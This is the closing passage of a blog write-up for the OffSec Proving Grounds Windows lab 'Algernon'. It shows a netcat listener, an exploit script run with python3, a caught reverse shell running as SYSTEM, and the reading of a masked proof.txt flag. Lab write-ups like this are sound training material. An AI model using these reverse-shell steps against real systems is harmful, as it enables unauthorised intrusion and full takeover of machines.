  <li>Exploit configuration . We just need to update target ip (HOST) and our machine ip (LHOST) in the script.</li>
  <li>Then we need to start a netcat listener to get reverse shell.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4444
</code></pre></div></div>

<ul>
  <li>After starting the listener, we can execute the exploit to get reverse shell.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 49216
</code></pre></div></div>

<ul>
  <li>We will get the shell in our netcat listener as <strong>Administrator</strong></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4444 
listening on <span class="o">[</span>any] 4444 ...
connect to <span class="o">[</span>192.168.49.53] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>192.168.53.65] 49906
bash <span class="nt">-i</span>
PS C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt; <span class="nb">whoami
</span>nt authority<span class="se">\s</span>ystem
PS C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt; 
</code></pre></div></div>

<h2 id="flag-extraction">Flag Extraction</h2>

<ul>
  <li>Now we can just navigate to <strong>C:\Users\Administrator\Desktop</strong> and read the flag inside <strong>proof.txt</strong> file.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>esktop&gt; <span class="nb">ls


    </span>Directory: C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>esktop


Mode                LastWriteTime         Length Name                                                                  

-                



-         

 
-                                                                  
<span class="nt">-a</span>
-        4/29/2020   9:29 PM           1450 Microsoft Edge.lnk                                                    
<span class="nt">-a</span>
-        7/17/2025   2:07 AM             34 proof.txt                                                             


PS C:<span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>esktop&gt; <span class="nb">type </span>proof.txt
76fb8ea14<span class="k">********</span>1c2cbbb
</code></pre></div></div>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="offsec" /><summary type="html"><![CDATA[​Proving Grounds - Easy Windows - Algernon]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>